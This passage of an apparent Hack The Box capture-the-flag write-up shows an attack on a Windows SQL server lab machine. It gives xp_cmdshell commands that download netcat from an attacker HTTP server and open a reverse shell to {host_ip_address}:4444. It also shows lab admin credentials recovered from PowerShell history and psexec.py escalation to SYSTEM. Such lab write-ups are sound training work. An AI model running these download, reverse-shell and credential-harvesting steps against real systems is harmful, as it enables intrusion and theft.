&lt;p&gt;&lt;strong&gt;xp_cmdshell ”powershell -c dir C:\Users\sql_svc”&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Netcat, often abbreviated as “nc,” is a versatile networking tool that can read and write data across network connections. By dropping the Netcat tool on the target Windows machine, we can set up a way to connect to that remote computer’s command line. This allows us to run commands and check the system without being physically present.&lt;/p&gt;




&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffqaofftbttxbv91c6two.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffqaofftbttxbv91c6two.png" alt="Screenshot 10: Setting up http server for netcat upload" width="783" height="126"&gt;&lt;/a&gt;&lt;em&gt;Screenshot 10: Setting up http server for netcat upload&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;In screenshot 10, I start up a simple HTTP server on port 1337 on our host machine to make the current directory accessible over the network. This starts a server that will make our nc64.exe file available at http://:1337.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;sudo python -m http.server 1337&lt;/strong&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;sudo:&lt;/strong&gt; Allows you to run commands with superuser (administrator) privileges. It’s often needed for tasks that require higher permissions.&lt;br&gt;
&lt;strong&gt;python -m http.server:&lt;/strong&gt; This part uses Python to start a simple HTTP server. Python has a built-in module called http.server that makes it easy to serve files over the web.&lt;br&gt;
&lt;strong&gt;1337:&lt;/strong&gt; This specifies the port number on which the server will listen. Ports are like channels through which data is transmitted over the network. In this case, the server is using port 1337.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8ufcsxqlkw7gkcc9xzz0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8ufcsxqlkw7gkcc9xzz0.png" alt="Screenshot 11: Pulling netcat executable from out http server on port 1337" width="800" height="69"&gt;&lt;/a&gt;&lt;em&gt;Screenshot 11: Pulling netcat executable from out http server on port 1337&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;xp_cmdshell “powershell -c cd C:\Users\sql_svc\Downloads; wget http://{host_ip_address}:1337/nc64.exe -outfile nc64.exe”&lt;/strong&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;powershell:&lt;/strong&gt; You know what this does by now hopefully&lt;br&gt;
&lt;strong&gt;-c:&lt;/strong&gt; Same here, if not scroll back to screenshot 8.&lt;br&gt;
&lt;strong&gt;cd C:\Users\sql_svc\Downloads:&lt;/strong&gt; This changes the directory to C:\Users\sql_svc\Downloads where the file will be downloaded.&lt;br&gt;
&lt;strong&gt;wget http://{host_ip_address}:1337/nc64.exe -outfile nc64.exe:&lt;/strong&gt; This uses the wget command to download a file from http://{host_ip_address}/nc64.exe and saves it as nc64.exe in the current directory.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;We have now successfully dropped nc64.exe onto our target Windows machine.&lt;/p&gt;




&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcjlyiprdfvqqwfzeojyp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcjlyiprdfvqqwfzeojyp.png" alt="Screenshot 12: Setting up netcat listener" width="773" height="162"&gt;&lt;/a&gt;&lt;em&gt;Screenshot 12: Setting up netcat listener&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;sudo nc -nvlp 4444&lt;/strong&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;sudo:&lt;/strong&gt; This command allows a permitted user to execute a command as the superuser or another user, as specified by the security policy. In this case, it runs the nc command with elevated privileges.&lt;br&gt;
&lt;strong&gt;nc:&lt;/strong&gt; This is the Netcat utility, often referred to as the “Swiss Army knife” of networking. It can read and write data across network connections using the TCP/IP protocol.&lt;br&gt;
&lt;strong&gt;-n:&lt;/strong&gt; This option tells Netcat not to do DNS lookups on the IP addresses, which speeds up the process.&lt;br&gt;
&lt;strong&gt;-v:&lt;/strong&gt; This option enables verbose mode, providing more detailed output.&lt;br&gt;
&lt;strong&gt;-l:&lt;/strong&gt; This option tells Netcat to listen for an incoming connection rather than initiate a connection.&lt;br&gt;
&lt;strong&gt;-p 4444:&lt;/strong&gt; This specifies the port number that Netcat will listen on. In this case, we chose port 4444.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb922o8ensputxnuw94lc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb922o8ensputxnuw94lc.png" alt="Screenshot 13: Binding cmd.exe through our netcat listener" width="800" height="35"&gt;&lt;/a&gt;&lt;em&gt;Screenshot 13: Binding cmd.exe through our netcat listener&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;xp_cmdshell “powershell -c cd C:\Users\sql_svc\Downloads; .\nc64.exe -e cmd.exe {host_ip_address}:4444”&lt;/strong&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;powershell -c cd C:\Users\sql_svc\Downloads;&lt;/strong&gt;: This changes the directory to C:\Users\sql_svc\Downloads where the nc64.exe file is located.&lt;br&gt;
&lt;strong&gt;.\nc64.exe -e cmd.exe 10.10.14.54 4444:&lt;/strong&gt; This runs the nc64.exe (Netcat) program with specific options:&lt;br&gt;
&lt;strong&gt;-e cmd.exe:&lt;/strong&gt; This option tells Netcat to execute cmd.exe (Command Prompt) once a connection is established.&lt;br&gt;
&lt;strong&gt;{host_ip_address} 4444:&lt;/strong&gt; These specify the IP address (10.10.14.54) and port (4444) to connect to. This is where the listener (from the previous screenshot) is waiting for connections.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7419z9yf886v1ak46a15.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7419z9yf886v1ak46a15.png" alt="Screenshot 14: Reverse shell" width="800" height="35"&gt;&lt;/a&gt;&lt;em&gt;Screenshot 14: Reverse shell&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Here we have created what’s known as a “reverse shell”. A type of network connection where a computer (the “target”) initiates a connection to another computer (the listener) and gives control over its command line interface to us. Using the &lt;strong&gt;whoami&lt;/strong&gt; command here shows we are executing commands directly on the target machine as &lt;strong&gt;sql_svc&lt;/strong&gt;.&lt;/p&gt;




&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F48cdy5oyxecutwgls2i0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F48cdy5oyxecutwgls2i0.png" alt="Screenshot 15: User flag" width="508" height="354"&gt;&lt;/a&gt;&lt;em&gt;Screenshot 15: User flag&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Taking a look into the user’s Desktop, we find a &lt;strong&gt;user.txt&lt;/strong&gt; file. Using type user.txt we can see the contents of the file revealing our user flag.&lt;/p&gt;




&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyduu6q27gnobccnlxxky.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyduu6q27gnobccnlxxky.png" alt="Screenshot 16: Checking PowerShell history to find clear text admin credentials" width="800" height="309"&gt;&lt;/a&gt;&lt;em&gt;Screenshot 16: Checking PowerShell history to find clear text admin credentials&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;In screenshot 16 we &lt;strong&gt;cd *&lt;em&gt;(change directory) into **Roaming\Microsoft\Windows\Powershell\PSReadline*&lt;/em&gt; then output the contents of the directory with the dir command. The **ConsoleHost_history.txt&lt;/strong&gt; file within this directory stores command history. This means you can refer back to previous commands used by a user on the machine. Here is where we find our clear text admin credentials&lt;/p&gt;




&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjkqmdnv6n2ix3h1pq7us.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjkqmdnv6n2ix3h1pq7us.png" alt="Screenshot 17: Privilege escalation via psexec.py" width="770" height="379"&gt;&lt;/a&gt;&lt;em&gt;Screenshot 17: Privilege escalation via psexec.py&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;In screenshot 17, we use psexec.py, a Python script that is part of the Impacket library, which provides a way to execute commands on remote Windows machines.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;psexec.py administrator@{target_ip_address}&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;We can now enter the user (&lt;strong&gt;administrator&lt;/strong&gt;) and password (&lt;strong&gt;MEGACORP_4dm1n!!&lt;/strong&gt;) which we found from checking the console history.&lt;br&gt;
Using &lt;strong&gt;whoami&lt;/strong&gt; we see that we are working as &lt;strong&gt;NT AUTHORITY\SYSTEM&lt;/strong&gt;, a built-in, highly privileged account that Windows uses to run essential system services and processes, with full control over the system.&lt;/p&gt;




&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqghg0l756en73xay8ix3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqghg0l756en73xay8ix3.png" alt="Screenshot 18: Root flag" width="553" height="350"&gt;&lt;/a&gt;&lt;em&gt;Screenshot 18: Root flag&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Checking the Administrator’s Desktop we find the second and final root flag.&lt;/p&gt;

</description>
      <category>hackthebox</category>
      <category>cybersecurity</category>
      <category>smb</category>
    </item>
  </channel>
</rss>
